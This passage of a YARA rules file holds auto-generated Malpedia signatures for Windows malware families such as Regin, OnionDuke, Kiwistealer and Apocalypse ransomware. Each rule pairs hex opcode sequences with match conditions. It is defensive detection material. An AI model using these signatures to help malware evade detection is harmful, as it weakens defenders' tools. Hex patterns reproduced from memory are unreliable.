		$sequence_7 = { eb48 b840000000 8bfb 2bc1 3bd8 0f43f8 8d462c }
		$sequence_8 = { 0f84a4f4ffff 8b45c8 0345c4 53 50 51 e8???????? }
		$sequence_9 = { 8d742418 8bf8 f3a5 8143080c020000 e9???????? 8d4c2418 51 }
	condition:
		7 of them and filesize < 991232
}

rule MALPEDIA_Win_Webc2_Head_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2d2a730d-97a8-5241-8842-4f785d02a551"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_head_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "de901b0b98bf3f5b5c73a555d4c5ec984c92ea5b4ae983fcd4805edfd4129476"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { a4 8d049500000000 8d0c52 89442418 894c2438 8b44241c 8b00 }
		$sequence_1 = { 735a 8bc8 83e01f c1f905 8b0c8d40cb4000 }
		$sequence_2 = { 0f8550ffffff 8b542424 8b4c241c 3bd1 0f8dc9000000 2bca }
		$sequence_3 = { 83c40c f2ae f7d1 49 894c2414 7511 bf???????? }
		$sequence_4 = { 0fb6fa 3bc7 7714 8b55fc 8a9220994000 }
		$sequence_5 = { f2ae f7d1 49 51 68???????? 50 50 }
		$sequence_6 = { 8d9e38994000 803b00 8bcb 742c }
		$sequence_7 = { f7d1 49 68???????? 68???????? 894c2438 e8???????? }
		$sequence_8 = { f3ab 68???????? e8???????? 6a03 68???????? 68???????? }
		$sequence_9 = { 8b6c2424 884603 83c604 89742410 8bde }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Kiwistealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7bc76ddb-b6a4-53dd-88a7-f41bc1cc2494"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kiwistealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kiwistealer_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "27341d3fac694e410d992d38e84f32a2cf2b6688bb4c9bbb3f17b7cb4866a5bf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4585c9 7462 4183e901 740f 4183f901 0f85d6000000 }
		$sequence_1 = { 4885c0 740e 488d7027 4883e6e0 488946f8 eb14 ff15???????? }
		$sequence_2 = { 488b05???????? 4885c9 480f45c1 483b05???????? 747e 4c8bc6 488d542470 }
		$sequence_3 = { 0f118424b0020000 0f104810 0f118c24c0020000 4c896010 48c740180f000000 c60000 4c8d8c2458030000 }
		$sequence_4 = { e9???????? 4983c5c0 4c896c2428 493bdc 0f85bc000000 4983ee40 4c89742420 }
		$sequence_5 = { e8???????? 43c6042e00 4533f6 488d45d8 48837df010 480f4345d8 4c89742438 }
		$sequence_6 = { 488b05???????? 488905???????? 488d0d3d110200 e8???????? 8bc8 486bc10b 83f803 }
		$sequence_7 = { 0f118590000000 418d4c2440 e8???????? 488bd8 4889442428 33d2 488bc8 }
		$sequence_8 = { 41c70005000000 49894008 498bc0 41c6400401 c3 8bca 81e9d4040000 }
		$sequence_9 = { 4883ec70 488bf9 4533f6 44897098 488d2db0920000 488968a0 0f57c0 }
	condition:
		7 of them and filesize < 403456
}

rule MALPEDIA_Win_Poldat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "42cee7c4-4091-565d-9c3d-72814a243e33"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poldat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poldat_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "623b16e441bfe440967c1ef70315e2275e1dcbf3de26c2e6e7dae46aecf0c483"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8b4514 83c410 8906 8b4510 }
		$sequence_1 = { c74724c0324000 8b4c2418 83f9ff 750c c744241806000000 8b4c2418 }
		$sequence_2 = { 89be4c0c0000 89be500c0000 89be540c0000 8bc6 5f }
		$sequence_3 = { 8b4720 895718 3bc2 750a c74720a0324000 }
		$sequence_4 = { 8d888c000000 8d9080090000 8988100b0000 8d88740a0000 8988280b0000 33c9 c780180b000018b24100 }
		$sequence_5 = { 50 e8???????? 55 8d86bc0a0000 57 50 c786b80a0000901f0000 }
		$sequence_6 = { 8bc7 83e007 83ed03 8b148dbc9c4100 }
		$sequence_7 = { c3 55 8bec 81ec68040000 8065fc00 53 56 }
		$sequence_8 = { 2bc8 03c7 51 6a00 8d441804 50 }
		$sequence_9 = { 50 e8???????? 59 e8???????? 6a04 99 }
	condition:
		7 of them and filesize < 247808
}

rule MALPEDIA_Win_Pslogger_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7125bcf7-61fe-59fe-bcb6-1726a032b5b5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pslogger_auto.yar#L1-L166"
		license_url = "N/A"
		logic_hash = "f827a0de7cefc58a148c7605b546e1b2c29f64eac98a4dd15fd09ff9985d232c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8bc8 e8???????? 4863f0 }
		$sequence_1 = { 4885c9 7406 ff15???????? 4883c318 }
		$sequence_2 = { 8d4601 4863e8 488bcd e8???????? }
		$sequence_3 = { 483bc8 740e 4885c9 7406 }
		$sequence_4 = { ff15???????? b801000000 488b8c2488000000 4833cc e8???????? }
		$sequence_5 = { 498bcc e8???????? 33d2 41b8b80b0000 498bcc }
		$sequence_6 = { c3 488b0d???????? 33d2 ff15???????? 488b0d???????? 33d2 ff15???????? }
		$sequence_7 = { b910000000 ff15???????? 6685c0 7910 b914000000 ff15???????? 6685c0 }
		$sequence_8 = { 895c2414 ff35???????? ffd6 e9???????? 85c9 }
		$sequence_9 = { 8bf0 83c408 85f6 0f84e8000000 8bce 8d5101 }
		$sequence_10 = { 85c0 7e25 66660f1f840000000000 8894373d1c0000 b801000000 }
		$sequence_11 = { 393b 0f45f8 33c9 89bd58fbffff 0f1f4000 }
		$sequence_12 = { 6bc830 8b049588b14200 f644082801 7414 8d4508 8945fc 8d45fc }
		$sequence_13 = { 68???????? 50 e8???????? 8d842470030000 68???????? 50 e8???????? }
		$sequence_14 = { 85c0 0f8568fcffff 668b8594fbffff 83431810 }
		$sequence_15 = { 58 668906 8b048d88b14200 6a0a 8854382a }
	condition:
		7 of them and filesize < 475136
}

rule MALPEDIA_Win_Apocalypse_Ransom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b5a0679d-3efc-5c9d-b682-041d8a2aacea"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.apocalypse_ransom_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "8cee33b1e4eac4c1405375639b552a991305017c9df19464c32f3823d3e5b8e7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6800010000 6a00 6a00 6a00 8d4c2424 51 6880000000 }
		$sequence_1 = { 8d4c2414 51 ffd7 03c0 50 8b442414 }
		$sequence_2 = { 8bc3 e8???????? 6a04 6800100000 68ff7f0000 6a00 }
		$sequence_3 = { 8b2d???????? 52 ffd5 8d442410 }
		$sequence_4 = { ff15???????? 6a03 56 ff15???????? 56 ff15???????? 5f }
		$sequence_5 = { 51 68???????? 6801000080 ffd6 8b3d???????? 8d542414 52 }
		$sequence_6 = { 8d542444 52 56 68???????? 8d842474020000 50 eb13 }
		$sequence_7 = { 6a00 6880000000 6a03 6a00 6a01 6800000080 8d4c2440 }
		$sequence_8 = { 6801000080 ffd6 8b3d???????? 8d542414 52 ffd7 8b4c2410 }
		$sequence_9 = { 743b 56 68???????? ffd5 83c408 6a00 6a00 }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Yahoyah_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "abfb222f-4f42-5b73-9d65-3a3b137f2cf3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yahoyah_auto.yar#L1-L151"
		license_url = "N/A"
		logic_hash = "95a87a262ce818137ca4c6ed87dce3eca74d768b60efbc782f5ec1ec62bf20ab"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 6a02 53 6af0 }
		$sequence_1 = { 23d1 52 8bd0 c1ea18 52 0fb6d0 }
		$sequence_2 = { ff15???????? 85c0 7501 c3 56 }
		$sequence_3 = { 0fb6d0 52 c1e808 23c1 50 68???????? }
		$sequence_4 = { 81e100200000 7503 41 eb09 }
		$sequence_5 = { 50 e8???????? 59 53 53 6a03 0fb7c8 }
		$sequence_6 = { 50 6800080000 ff15???????? ff15???????? }
		$sequence_7 = { 57 e8???????? 59 56 56 8d45fc 50 }
		$sequence_8 = { 53 53 53 56 53 ff15???????? 68d0070000 }
		$sequence_9 = { ff15???????? 6a2e 68???????? e8???????? }
		$sequence_10 = { ff15???????? 6a3a 56 e8???????? 8bf0 83c410 }
		$sequence_11 = { 6a1a 50 e8???????? bf???????? }
		$sequence_12 = { 90 90 68add13441 ffb53ffbffff }
		$sequence_13 = { 90 90 90 33c9 33c0 648b3530000000 8b760c }
	condition:
		7 of them and filesize < 483328
}

rule MALPEDIA_Win_Spaceship_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e9646ae9-48ad-52ca-8e30-ca37f230b031"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spaceship_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "918a94f75a146e2a40061812363f222c7587d1698068cc2f3629d9e72d72f097"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? f2ae 8bcb 4f c1e902 f3a5 8bcb }
		$sequence_1 = { 66395cc416 f3a4 74c1 81e2ffff0000 83c9ff 03d0 33c0 }
		$sequence_2 = { 66c78424bc0100000d00 66898424be010000 c78424c00100001c6b4100 66c78424c40100002500 }
		$sequence_3 = { 8bcb 83e103 f3a4 83c9ff bf???????? f2ae f7d1 }
		$sequence_4 = { f2ae 8bcb 4f c1e902 f3a5 8b45f0 }
		$sequence_5 = { 80a0c0d9410000 40 3bc6 72be 5e c9 c3 }
		$sequence_6 = { 6a00 6810040000 ff15???????? 8bf0 56 ffd5 }
		$sequence_7 = { 66899c24e6040000 c78424e80400001c674100 66c78424ec0400004a00 66899c24ee040000 c78424f004000014674100 66c78424f40400001e00 66899c24f6040000 }
		$sequence_8 = { 8a441c0c 8d741c0c 84c0 75bc 5f 5e }
		$sequence_9 = { c7842408050000f8664100 66c784240c0500002000 6689ac240e050000 c7842410050000f0664100 66899c2414050000 6689842416050000 c7842418050000e4664100 }
	condition:
		7 of them and filesize < 262144
}

rule MALPEDIA_Win_Crypt0L0Cker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "36a9a672-4992-57ea-891c-f29c4225a913"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crypt0l0cker_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "b3cddc973c5366c89b799135e4693f1cb6d7cd129335c29ced490dcf89284e44"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bcb e8???????? eb05 bf03000000 56 6a01 682f5b5412 }
		$sequence_1 = { 53 e8???????? 59 59 85c0 0f84bbfeffff 8b45f8 }
		$sequence_2 = { 8bcf e8???????? 8b4c2418 e8???????? 85f6 740f 56 }
		$sequence_3 = { 0f8e85000000 53 ff75fc 8d45a8 50 8bd0 8d4dbc }
		$sequence_4 = { 33c1 894ee8 8946ec 8d042e c1f802 8b4c8314 8bc1 }
		$sequence_5 = { 68???????? bac8cfa6d0 8bce e8???????? 83c404 85c0 0f85b2000000 }
		$sequence_6 = { e8???????? 83c40c 68fd010000 53 85f6 7506 }
		$sequence_7 = { 3bf2 7301 47 03d8 895de8 3bd8 }
		$sequence_8 = { 8be5 5d c3 55 8bec 83ec18 8bc2 }
		$sequence_9 = { 0f8520080000 c74424143c000000 55 8d4900 837e3400 0f8505080000 833e01 }
	condition:
		7 of them and filesize < 917504
}

rule MALPEDIA_Win_Newcore_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c161add4-90a4-5a07-9de8-bcd8a57e3d69"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newcore_rat_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "85672d8cf8a6bd59109d6c5a704fff80f074ddc2465adb99808889ae02b39e81"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b883c200000 52 51 c744241000000000 ff15???????? f7d8 1bc0 }
		$sequence_1 = { 51 57 6a01 53 52 55 ff15???????? }
		$sequence_2 = { c686c800000043 c6864b01000043 c7466878920310 6a0d e8???????? 59 8365fc00 }
		$sequence_3 = { 0f8788000000 0fb69028720010 ff249508720010 33c0 83c40c c3 8b4644 }
		$sequence_4 = { 57 8b78f4 894dfc 85db }
		$sequence_5 = { 0430 0fb64c2426 8844242f 8bc1 c1e804 83f809 }
		$sequence_6 = { 8984242c040000 8b842434040000 53 55 56 57 8bf1 }
		$sequence_7 = { 81ec54020000 a1???????? 33c4 8984244c020000 8b842458020000 55 }
		$sequence_8 = { b903000000 668994249c000000 668984249e000000 66898c24a0000000 ba01000000 66899424a2000000 b809000000 }
		$sequence_9 = { e9???????? 8b442410 6a04 56 50 8bde c744242400000000 }
	condition:
		7 of them and filesize < 581632
}

rule MALPEDIA_Win_Covid22_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "99a02a74-d0a3-533c-b448-35480cff51fc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.covid22"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.covid22_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "968cf98e2e8c36cdb3ce45b1a5e5186c5425f3f25bc15cd333cdcc77eeba73ef"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8a4d78 83c40c f6c102 8975dc 897d08 }
		$sequence_1 = { 57 e8???????? 8d7438ff 3bf7 }
		$sequence_2 = { 8b3d???????? ffd7 8b4608 85c0 7403 50 ffd7 }
		$sequence_3 = { 33d9 81e3ff000000 c1e908 330c9df0904000 0fb65801 }
		$sequence_4 = { 89c3 83fb01 7532 ff35???????? }
		$sequence_5 = { e8???????? 8d0df4b14000 5a e8???????? 8b442414 e8???????? 50 }
		$sequence_6 = { 83c001 8bce c1e908 330c9df0904000 0fb618 33d9 }
		$sequence_7 = { 8d0d14b24000 e8???????? ba???????? 8d0d18b24000 e8???????? ba???????? }
		$sequence_8 = { c705????????0a4c4000 c705????????304c4000 c705????????01000000 837d1c00 7507 c7451c00904000 }
		$sequence_9 = { ba???????? 8d0d10b24000 e8???????? ba???????? 8d0d14b24000 }
	condition:
		7 of them and filesize < 1955840
}

rule MALPEDIA_Win_Aurastealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8c36a500-8774-5585-be5e-1badb5bb0481"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurastealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aurastealer_auto.yar#L1-L147"
		license_url = "N/A"
		logic_hash = "8480b12b568e7fb011f2e56db2dfa5eb1d5aeacb4a24d1ba1c2deb0c82ba7d5d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 09f8 894648 83c110 894e44 8b7e30 }
		$sequence_1 = { 09f9 85d2 0f49c8 89f5 }
		$sequence_2 = { 09fb 895e48 83c110 894e44 }
		$sequence_3 = { 09fb 8b0c24 0fb68c0e32900000 01d1 }
		$sequence_4 = { 0a1c24 751f 8b7920 8b3f }
		$sequence_5 = { 0a442404 89ee 7456 8b6c2410 }
		$sequence_6 = { 09fa d1ea 89f7 83e601 }
		$sequence_7 = { 0a4c2410 751c 6840df0400 6a01 }
		$sequence_8 = { 01442428 8bf1 13d9 33d2 }
		$sequence_9 = { 01442420 13d1 c1eb0b 0fa4c115 }
		$sequence_10 = { 012c18 42 3bd7 72dc }
		$sequence_11 = { 014c241c 13f0 33d2 89742420 }
		$sequence_12 = { 014c2420 8be8 13f0 33ff }
		$sequence_13 = { 0144241c 8b7c2424 136c2414 33c0 }
		$sequence_14 = { 0128 42 3bd7 72db }
		$sequence_15 = { 0002 8a0c0f 83c40c 020e }
	condition:
		7 of them and filesize < 1918976
}

rule MALPEDIA_Win_Blackcoffee_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c2ef4943-3003-5a8e-b84c-2fdafd870b99"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackcoffee_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "b695e8fbe67a22ec1c98f5f738aa4dd5737b4b8062371c0306d53cad47c03140"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff75fc 57 6a01 ff15???????? 8bd8 3bdf }
		$sequence_1 = { 53 e8???????? 83c40c ffd3 3bc7 7460 8b5610 }
		$sequence_2 = { 897dfc 8945f4 50 8d4610 }
		$sequence_3 = { 50 c70614000000 ff15???????? 8d85dcfeffff 83c40c 8945e8 8d45e0 }
		$sequence_4 = { c68501f0ffff36 c68502f0ffff34 c68503f0ffff50 c68504f0ffff72 }
		$sequence_5 = { 8b45fc 89460c c70614000000 e9???????? 83660c00 8d85b4feffff 50 }
		$sequence_6 = { 6800800000 57 53 ff15???????? 8b4610 }
		$sequence_7 = { e8???????? 8806 8d45b0 50 }
		$sequence_8 = { 897dfc 57 ff15???????? 8bd8 3bdf 747a 8b460c }
		$sequence_9 = { 895efc ff75f8 56 e8???????? 83c40c 56 }
	condition:
		7 of them and filesize < 118784
}

rule MALPEDIA_Win_Unidentified_045_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7710c8cf-a592-5c63-bf57-74d2e907d9db"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_045"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_045_auto.yar#L1-L98"
		license_url = "N/A"
		logic_hash = "2c83bad8d9cfd5aadbf00585cf334eb826afab5840caeb0b4d10dd25220749b4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6800040000 53 53 681f000f00 50 }
		$sequence_1 = { 83e70f 5b 83ff03 7205 83ff08 }
		$sequence_2 = { 33db 6a68 8d45b8 53 50 895d70 }
		$sequence_3 = { 7517 ff7638 8b4810 e8???????? }
		$sequence_4 = { ff7510 8d45f0 56 6a0c 50 }
		$sequence_5 = { ff7508 897dac 56 ff15???????? }
		$sequence_6 = { 8901 8b8538ffffff 8b0d???????? 8901 }
		$sequence_7 = { 03f0 0500040000 894508 8d8ef8000000 3bc8 0f87d6030000 b850450000 }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Regin_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2a1f14e6-74a8-59d6-b749-05fe8ab02b70"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.regin"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.regin_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "c115cb715f448d4a7161dd2f6e1e57adc27409e679a96be3c8017531a1cc0da9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48 8bd3 e8???????? 40 32ff 48 8b5c2450 }
		$sequence_1 = { 41 ffc0 48 8d4c2470 41 b904000000 }
		$sequence_2 = { 85c0 740d 48 8d3551070000 }
		$sequence_3 = { 48 0f45c7 4c 3be1 }
		$sequence_4 = { 7408 33db 895c2460 eb7c 48 }
		$sequence_5 = { 7505 e8???????? e8???????? 85c0 7518 e8???????? }
		$sequence_6 = { 3beb 7406 ff15???????? 8ac3 48 8b9c2490000000 }
		$sequence_7 = { 83ec28 83c8ff 48 85c9 }
		$sequence_8 = { 89442478 48 85c0 0f84e8000000 }
		$sequence_9 = { 4c 8d4008 48 8d5010 e8???????? 3ac3 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Onionduke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4f0df2d9-b667-583c-9035-10a88bb5a5df"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.onionduke_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "489b57dff2d63e712188fb4627ba779c8167a75fd93d25f277ce49d9d63a93ef"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 8b7510 56 894df8 }
		$sequence_1 = { 8b0f 83c404 5f 8919 }
		$sequence_2 = { c645fc01 bf08000000 85c0 7417 8b4dd4 }
		$sequence_3 = { c20c00 8b4d08 8b11 8b4214 56 6a01 ffd0 }
		$sequence_4 = { 56 e8???????? 837de808 8bf0 720c 8b4dd4 51 }
		$sequence_5 = { 8a08 40 84c9 75f9 2bc2 750e }
		$sequence_6 = { ffd0 8b13 894508 8b4208 56 }
		$sequence_7 = { c20400 8b03 50 e8???????? 83c404 56 ff15???????? }
		$sequence_8 = { 8b4dfc 33cd e8???????? 8be5 5d c20400 837df408 }
		$sequence_9 = { 8b4d08 2bd0 c1fa03 3bd1 770a 68???????? e8???????? }
	condition:
		7 of them and filesize < 671744
}

rule MALPEDIA_Win_Getmail_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
